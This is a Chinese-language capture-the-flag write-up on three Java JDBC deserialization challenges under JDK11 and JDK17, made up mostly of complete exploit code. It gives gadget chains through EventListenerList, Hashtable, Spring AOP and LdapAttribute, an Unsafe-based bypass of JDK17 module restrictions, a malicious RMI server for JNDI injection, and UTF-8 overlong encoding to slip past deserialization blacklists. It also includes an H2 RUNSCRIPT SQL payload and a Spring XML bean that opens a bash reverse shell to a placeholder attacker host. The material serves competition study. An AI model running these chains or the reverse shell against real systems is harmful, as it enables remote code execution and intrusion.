前言 鸽了太久,上周打了个软件安全赛半决,发现很多好玩的高版本JDK的JDBC题目,遂趁着没啥事的时候看看。
其一-软件安全赛初赛-JDBCParty JDK17打oracle的反序列化。
入口很simple,因为getConnection内我们可控的只有username和password,所以不能直接打JDBC了。
前面给了个deserialize,应该是打这里的反序列化:
这里的打法不仅仅是高版本JDK下JDBC的打法,打JDBC前半段很简单,都是找个能触发到getConnection
的链,这里有很多种选择,比如出道即巅峰的EventListenerList
,其二是hashtable
,都可以从toString
调用到任意getter。
后半段就是着重考虑的高版本JDK的JNDI打法。
饭要一口口吃,路要一步步走。我们先看JDBC怎么打。
首先就是JDK17的反射机制绕过,这里可以看:
JDK17+反射限制绕过
根据 Oracle的文档 ,为了安全性,从JDK 17开始对java本身代码使用强封装,原文叫 Strong Encapsulation
。任何对 java.*
代码中的非public 变量和方法进行反射会抛出InaccessibleObjectException
异常。
这里我们是使用了Unsafe类来实现反射限制的突破。本质上即为在jdk17及之后无法反射 java.*
包下非public
修饰的属性和方法,通过 UnSafe
实现调用类的module和Object类的module一样 达到可以修改的目的,具体不再赘述。
对于高版本JDK的JNDI的话,我们需要找到能触发getter的JNDI。
这个项目也已经给出:https://github.com/luelueking/Deserial_Sink_With_JDBC
oracle数据库我们可以选择OracleCachedRowSet
作为sink:
1 2 OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet (); oracleCachedRowSet.setDataSourceName("rmi://localhost:1097/remoteobj" );
这个sink的首坑是只能打RMI。我们跟一下OracleRowSet
可以看到黑名单:
唯独RMI没ban。
EXP-JDBC到JNDI 此处就以那位出道即巅峰的EventListenerList
下手,借用一部分j1rry师傅的代码,注意还是要先把Jackson链中的writeReplace
给删了,不然会提前触发就打印不出payload了,同时记得添加VM Options:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 public class Exp_EventListenerList { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace" ); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); ObjectMapper objectMapper = new ObjectMapper (); objectMapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false ); Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafe = (Unsafe) field.get(null ); Module baseModule = Object.class.getModule(); Class currentClass = Exp_EventListenerList.class; long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(currentClass, addr, baseModule); OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet (); oracleCachedRowSet.setDataSourceName("rmi://localhost:1097/remoteobj" ); new MemoryUserDatabaseFactory (); UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("monitorLock" ),null ); Vector vector1 = new Vector (); vector1.add(0 ,"111" ); Vector vector2 = new Vector (); vector2.add(0 ,"222" ); String[] metaData= new String []{"111" ,"222" }; UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnIndexes" ),vector1); UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnNames" ),vector2); UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("metaData" ),metaData); UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("reader" ),null ); UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("writer" ),null ); UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("syncProvider" ),null ); POJONode pojoNode = new POJONode (oracleCachedRowSet); EventListenerList list = new EventListenerList (); UndoManager manager = new UndoManager (); Vector vector = (Vector) getFieldValue(manager, "edits" ); vector.add(pojoNode); setFieldValue(list, "listenerList" , new Object []{InternalError.class, manager}); System.out.println(base64Encode(serialize(list))); deserialize(serialize(list)); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setFieldValue(s, "table" , tbl); return s; }
UnSafeTools:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public class UnSafeTools { static Unsafe unsafe; public UnSafeTools () { } public static Unsafe getUnsafe () throws Exception { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe)field.get((Object)null ); return unsafe; } public static void setObject (Object o, Field field, Object value) { unsafe.putObject(o, unsafe.objectFieldOffset(field), value); } public static Object newClass (Class c) throws InstantiationException { Object o = unsafe.allocateInstance(c); return o; } public static void bypassModule (Class src, Class dst) throws Exception { Unsafe unsafe = getUnsafe(); Method getModule = dst.getDeclaredMethod("getModule" ); getModule.setAccessible(true ); Object module = getModule.invoke(dst); long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(src, addr, module ); } static { try { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe)field.get((Object)null ); } catch (Exception var1) { System.out.println("Error: " + var1); } } }
当然Hashtable 这条链:也能通:
1 2 3 4 hashtable#readObject =>TextAndMnemonicHashMap#get =>fastjson2.toString =>OracleCachedRowSet.getConnection()
只不过跟Jackson不稳定链是类似的,还需要加个JdkDynamicAopProxy
类指定OracleCachedRowSet
的接口来进行对getConnection
的稳定触发:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 public static void main (String[] args) throws Exception { unsafe_break_jdk17(); OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet (); oracleCachedRowSet.setDataSourceName("rmi://127.0.0.1:1097/remoteobj" ); Object proxy = getProxy(oracleCachedRowSet); JSONArray objects = new JSONArray (); objects.add(proxy); Hashtable hashMapXStringToString = makeTableTstring(objects); String serialize = serialize(hashMapXStringToString); Object deserialize = deserialize(serialize); } public static void unsafe_break_jdk17 () throws Exception { Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe" ); theUnsafe.setAccessible(true ); Unsafe unsafe = (Unsafe) theUnsafe.get(null ); Module objectmodule = Object.class.getModule(); Class mainClass = Exp_Hashtable.class; long module = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(mainClass,module ,objectmodule); } public static String serialize (Object obj) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (byteArrayOutputStream); oos.writeObject(obj); String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(payload); return payload; } public static Object deserialize (String payload) throws Exception { byte [] data = Base64.getDecoder().decode(payload); return new ObjectInputStream (new ByteArrayInputStream (data)).readObject(); } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getSuperclass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static Object getProxy (Object obj) throws Exception{ Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(obj); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class []{RowSetInternal.class}, handler); return proxyObj; } public static Hashtable makeTableTstring (Object o) throws Exception{ Map tHashMap1 = (HashMap) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap" )); Map tHashMap2 = (HashMap) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap" )); tHashMap1.put(o,"yy" ); tHashMap2.put(o,"zZ" ); setValue(tHashMap1,"loadFactor" ,1 ); setValue(tHashMap2,"loadFactor" ,1 ); Hashtable hashtable = new Hashtable (); hashtable.put(tHashMap1,1 ); hashtable.put(tHashMap2,1 ); tHashMap1.put(o, null ); tHashMap2.put(o, null ); return hashtable; } public static <T> T createWithoutConstructor (Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); }
EXP-JNDI 首先是注意到依赖的tomcat是10.1.31:
而Tomcat 在9.0.62
后在BeanFactory
里对forceString
进行了判断,所以想直接打BeanFactory
的JNDI老路已经不太彳亍了。
我们必须找一个新的sink点,可看:高版本JNDI注入-高版本Tomcat利用方案-先知社区
但是文章的sink点这道题用不了emmm,还得自己找一个。
据说可以从RMIServer
打一个XXE来任意文件读取,但是我没有尝试,因为我想R哈哈哈哈哈。
集思广益,还真找到了一个CVE-2022-39197分析 ,这是一个CS的洞,Sink点是JSVGCanvas#setURL
,我们可以做到svg2RCE。
之前说到高版本tomcat不能直接打BeanFactory
因为forceString
被ban了,但是通过JavaBeans Introspector
实现获取任意类的bean之后,就可以调用任意类的的setter方法。
我了个豆啊。那可以直接调用任意setter传参了,那不就能触发到batik-swing
中JSVGCanvas#setURL
了,直接就通了。
(srds这个batik-swing确实是远古版本的玩意,还得去网上下)
与此同时,这个洞后续还被发扬光大了,于是就找到了CVE-2023-21939:JDK CVE-2023-21939 分析利用
EXP_RMIServer 没啥好说的,就是提供一个打JNDI的RMIServer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.eddiemurphy;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer_JDBCParty { public static void main (String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097" ); Registry registry = LocateRegistry.createRegistry(1097 ); ResourceRef ref = new ResourceRef ("org.apache.batik.swing.JSVGCanvas" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("URI" , "http://localhost:8886/1.xml" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("remoteobj" , referenceWrapper); } }
用CVE-2023-21939的现成server直接起,只是svg直接触发好像有点问题,打jar包的形式倒是可以一遍通:
当然还搜到有Jackson+LdapAttruibute
的方法能打,具体看看这位师傅写的吧:JDK17打Jackson+LdapAttruibute反序列化 | GSBP’s Blog
三折叠,怎么折都有面啊😋😋😋
参考:
从2025系统安全防护赛JDBCParty学习高版本JDK和高版本Tomcat打JNDI到RCE | J1rrY’s Blog
软件攻防赛JDBCParty赛后解-先知社区
Y4Sec-Team/CVE-2023-21939: JDK CVE-2023-21939
其二-软件安全赛半决-justDeserialize JDK11打hsqldb的反序列化。
比赛是break&fix类型,修是很好修的,框框加blacklist或者重写resolveClass
都行,或User类的compare方法ban掉,这是一个很显然的拿来反序列化触发的方法点位。当时硬磕了半天还是没打通,绕resolveClass
原有黑名单想到了UTF8-Overlong-Encoding,也想到了JNDI的打法,奈何本地环境遇到点问题测不出来。。。
赛后也有师傅复现了,那我也看看怎么个事吧。
打的是SpringAOP
链,来自:软件攻防赛现场赛上对justDeserialize攻击的几次尝试 | GSBP’s Blog
用的toString来触发aop动态代理的invoke方法,只要不是equals,hashcode
这俩方法触发invoke,其他都是可以走完整条反序列化链。
而User类的compare
方法可以使用CB链中的PriorityQueue
的那节来触发。
但是直接触发是不太彳亍的,因为proxy类没有实现comparator
接口,解决方法是通过在外面再包一层代理,且代理comparator
接口。
至于触发类,我们可以选择LdapAttribute
这么一个jndi注入类,也可以选择JdbcRowSetImpl
。
虽然高版本JDK你直接调com.sun.rowset.JdbcRowSetImpl
会报错,但是这题你在JDK8下调好payload发包过去照样能成功。
打JNDI的话,用JNDIMap就可以,但是直接打waf的测试好像过不了,反正套个UTF8就能绕resolveClass
。
EXP 法一,JdbcRowSetImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public static void main (String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Deserialize/Jackson/Command/calc.exe" ); Method method = jdbcRowSet.getClass().getMethod("getDatabaseMetaData" ); System.out.println(method); SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory (jdbcRowSet); AspectJAroundAdvice advice = new AspectJAroundAdvice (method,new AspectJExpressionPointcut (),factory); Proxy proxy1 = (Proxy) getAProxy(advice,Advice.class); Proxy finalproxy = (Proxy) getBProxy(proxy1,new Class []{Comparator.class}); PriorityQueue PQ_test = new PriorityQueue (1 ); PQ_test.add(1 ); PQ_test.add(2 ); setFieldValue(PQ_test,"comparator" ,finalproxy); setFieldValue(PQ_test,"queue" ,new Object []{proxy1,proxy1}); System.out.println(Base64.getEncoder().encodeToString(serialize(PQ_test))); deserialize(serialize(PQ_test)); } public static Object getBProxy (Object obj,Class[] clazzs) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(obj); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler); return proxy; } public static Object getAProxy (Object obj,Class<?> clazz) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(obj); AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj; DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor ((Advice) getBProxy(advice, new Class []{MethodInterceptor.class, Advice.class})); advisedSupport.addAdvisor(advisor); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{clazz}, handler); return proxy; } public static byte [] serialize(Object obj) throws Exception { ByteArrayOutputStream arr = new ByteArrayOutputStream (); try (UTF8OverlongObjectOutputStream output = new UTF8OverlongObjectOutputStream (arr)){ output.writeObject(obj); } return arr.toByteArray(); } public static Object deserialize (byte [] arr) throws Exception { try (ObjectInputStream input = new ObjectInputStream (new ByteArrayInputStream (arr))){ return input.readObject(); } }
当时比赛不出网,jar包的编译版本虽然是JDK11,但是还没有受到强制类隔离的要求,所以可以随便打Jackson
反序列化这些,或者是再走一次AOP链但触发类换成可RCE的TemplateImpl
类,这里随便打一个啥内存马应该都可以。
这位师傅还提到了hsql的二次反序列化,这个思路也很不错,打jndi_Reference触发DruidDataSourceFactory
的getObjectInstance方法来打hsql-JDBC,触发hsql里的SerializationUtils二次反序列化实现RCE,有兴趣可以看看原文。
放题目中的JDK11环境也能出:
法二,LdapAttribute
其次potat0w0师傅的从LdapAttributegetAttributeDefinition()
打到jndi也是很好的方法,因为题目的依赖中存在hibernate漏洞版本,想办法出发到它的hashCode()就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 public class Exp2 { public static void main (String[] args) throws Exception { Hashtable hashtable = new Hashtable (); ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class); setField(componentType,"propertySpan" ,2 ); Class c1 = Class.forName("com.sun.jndi.ldap.LdapAttribute" ); Class c2 = Class.forName("javax.naming.directory.BasicAttribute" ); Object ldap = createObjWithConstructor(c1,c2,new Class []{String.class},new Object []{"test" }); setField(ldap,"rdn" ,new CompositeName ("a//b" )); setField(ldap,"baseCtxURL" ,"ldap://127.0.0.1:50389" ); TypedValue typedValue = new TypedValue (componentType,ldap); PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class); Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters" ); field.setAccessible(true ); field.set(pojoComponentTuplizer,new Getter []{new GetterMethodImpl (Object.class,"qwq" , c1.getDeclaredMethod("getAttributeDefinition" ))}); setField(componentType,"componentTuplizer" ,pojoComponentTuplizer); hashtable.put(1 ,111 ); Field tableField = Hashtable.class.getDeclaredField("table" ); tableField.setAccessible(true ); Object[] table = (Object[]) tableField.get(hashtable); for (Object entry: table){ if (entry != null ){ setField(entry,"key" ,typedValue); } } String string = Base64.getEncoder().encodeToString(ser(hashtable)); System.out.println(string); unser(Base64.getDecoder().decode(string)); } public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{ Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes); constructor.setAccessible(true ); Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true ); return (T) constructor1.newInstance(argsValues); } public static void setField (Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object,value); } public static Object createObjWithoutConstructor (Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true ); return constructor1.newInstance(); } public static byte [] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); Exp.UTF8OverlongObjectOutputStream utf8OverlongObjectOutputStream = new Exp .UTF8OverlongObjectOutputStream(byteArrayOutputStream); utf8OverlongObjectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); } public static Object unser (byte [] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); return objectInputStream.readObject(); } }
这里用java-chains这个工具试了试,确实也挺好用的,推荐!
参考:
软件攻防赛现场赛上对justDeserialize攻击的几次尝试 | GSBP’s Blog
软件系统安全赛2025华东赛区半决赛wp-web - Potat0w0
Release 1.4.0 · vulhub/java-chains
其三-NCTF2024 H2_Revenge X1哥出的题,JDK17打H2的反序列化。
就是因为参加软件赛才没打到NCTF题,正好学弟也在问这个题的问题,看了看打了打。
题目入口很简单:
前半段链子依然用EventListenerList
能触发到MyDataSource
的getConnecetion()
:
如果光打H2的话,后续好像直接用CREATE ALIAS创建恶意函数执行sql语句或者利用JavaScript引擎就能直接打了。但是JDK17的JavaScript引擎(Nashorn)已经被删除,而且这道题有点抽象的用了JRE,而不是完整的JDK环境,也就是说没有javac,没法给你编译了,那么创建恶意函数的方法就寄了。
但是你如果翻看H2官方文档,会发现CERATE ALIAS除了能在sql执行的时候创建恶意函数,还可以直接引用已知的Java方法,全程没有javac的参加。
Features :
一下就变成漏洞挖掘了呢。只要是我们能找到依赖中的符合条件的静态方法就能R了。
这里的打法千奇百怪了,因为方法有很多,X1哥用的Spring的ReflectUtils
反射调用ClassPathXmlApplicationContext
的构造方法,但是直接执行SQL语句会报错不支持JAVA_OBJECT 与VARCHAR(CHARACTER VARYING)类型之间的转换:Data conversion error converting “JAVA_OBJECT, CHARACTER VARYING” · Issue #3389 · h2database/h2database
因为ReflectUtils.newInstance
传入的args参数是Object类型,sql文件中的@url_str
属于VARCHAR类型。
所以必须找到一个参数类型为Object且返回值是String类型的static方法,从而间接地实现类型的转换,这里由于我还没装CodeQL和Tabby,所以就不去手动找了。这俩对Javachains的挖掘很有帮助,后面有缘搭建一下再更吧hhh。
X1哥用的javax.naming.ldap.Rdn.unescapeValue
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 public static Object unescapeValue (String val) { char [] chars = val.toCharArray(); int beg = 0 ; int end = chars.length; while ((beg < end) && isWhitespace(chars[beg])) { ++beg; } while ((beg < end) && isWhitespace(chars[end - 1 ])) { --end; } if (end != chars.length && (beg < end) && chars[end - 1 ] == '\\' ) { end++; } if (beg >= end) { return "" ; } if (chars[beg] == '#' ) { return decodeHexPairs(chars, ++beg, end); } if ((chars[beg] == '\"' ) && (chars[end - 1 ] == '\"' )) { ++beg; --end; } StringBuilder builder = new StringBuilder (end - beg); int esc = -1 ; for (int i = beg; i < end; i++) { if ((chars[i] == '\\' ) && (i + 1 < end)) { if (!Character.isLetterOrDigit(chars[i + 1 ])) { ++i; builder.append(chars[i]); esc = i; } else { byte [] utf8 = getUtf8Octets(chars, i, end); if (utf8.length > 0 ) { try { builder.append(new String (utf8, "UTF8" )); } catch (java.io.UnsupportedEncodingException e) { } i += utf8.length * 3 - 1 ; } else { throw new IllegalArgumentException ( "Not a valid attribute string value:" + val + ",improper usage of backslash" ); } } } else { builder.append(chars[i]); } } int len = builder.length(); if (isWhitespace(builder.charAt(len - 1 )) && esc != (end - 1 )) { builder.setLength(len - 1 ); } return builder.toString(); }
就连起来了。
EXP sql文件:
1 2 3 4 5 6 7 8 9 10 CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)' ;CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])' ;CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)' ;SET @url_str = 'http://vps:port/h2_revenge_evil.xml' ;SET @url_obj = UNESCAPE_VALUE(@url_str );SET @context_clazz = CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext' );SET @string_clazz = CLASS_FOR_NAME('java.lang.String' );CALL NEW_INSTANCE(@context_clazz , ARRAY [@string_clazz ], ARRAY [@url_obj ]);
xml文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > <![CDATA[bash -i >& /dev/tcp/vps/port 0>&1]]></value > </list > </constructor-arg > </bean > </beans >
Exp.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class Exp { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace" ); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); UnsafeUtil.patchModule(Exp.class); UnsafeUtil.patchModule(ReflectUtil.class); MyDataSource dataSource = new MyDataSource ("jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://vps:port/h2_revenge_poc.sql'" , "aaa" , "bbb" ); POJONode pojoNode = new POJONode (dataSource); EventListenerList eventListenerList = new EventListenerList (); UndoManager undoManager = new UndoManager (); Vector vector = (Vector) ReflectUtil.getFieldValue(CompoundEdit.class, undoManager, "edits" ); vector.add(pojoNode); ReflectUtil.setFieldValue(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager}); System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(eventListenerList))); } }
记得加VM Options。
当然,也有那种打十六进制写入so文件然后在sql文件中打java.lang.System.load
的:NCTF2024 Web方向题解-CSDN博客
这也是打H2 JDBC的一种常用方法。
后记 JDK高版本还是太安全了,安全到基本就只有出难题出JDBC题的份了。